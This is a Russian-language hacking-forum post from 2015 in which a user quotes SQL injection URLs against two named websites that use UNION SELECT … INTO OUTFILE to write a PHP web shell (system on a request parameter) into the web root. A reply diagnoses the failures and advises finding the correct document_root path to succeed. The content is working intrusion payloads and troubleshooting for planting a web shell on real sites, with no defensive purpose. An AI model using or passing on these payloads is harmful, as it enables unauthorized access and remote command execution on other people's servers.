Тема: Into outfile
Показать сообщение отдельно

  #2  
Старый 06.07.2015, 21:27
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Цитата:
Сообщение от semen6192  

Не могу загрузить свой файл на сайт:
Код:
http://www.nibbledpencil.com/ficha.php?id=-277%20and%201=1%20UNION%20SELECT%201,%22%3C?php%20system%28$_REQUEST[cmd]%29;exit;?%3E%22,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20INTO%20outfile%20%27/var/www/qwe.php%27--+
Ошибка: Can't create/write to file '/var/www/qwe.php' (Errcode: 2)
Ладно, допустим нельзя, пробуем 2-й сайт:
http://www.cobranet.org(тренировочный)
Код:
http://www.cobranet.org/about.php?id=-1%20union%20select%201,2,3,%22%3C?php%20system%28$_GET[cmd]%29;exit;?%29%29%22,5,6%20into%20outfile%20%27/var/www/mnbbbb.php%27%20--
Видим:
SQL Error:
1045: Access denied for user 'website'@'localhost' (using password: YES)
[select * from about where section=-1 union select 1,2,3,"
Но самое главное что мы видим(я так думаю): Access denied
Но вот захожу на созданный файл:
http://www.cobranet.org/mnbbbb.php
и ничего нет, как правильно заливать файлы на сайт?
babin@laptop:~$ perror 2

OS error code 2: No such file or directory

а вот в папку tmp все нормально заливается. вам нужно просто найти верный путь до document_root.

во втором случае у вас нет прав, чего удивлятся. читайте статьи и документацию
 
Ответить с цитированием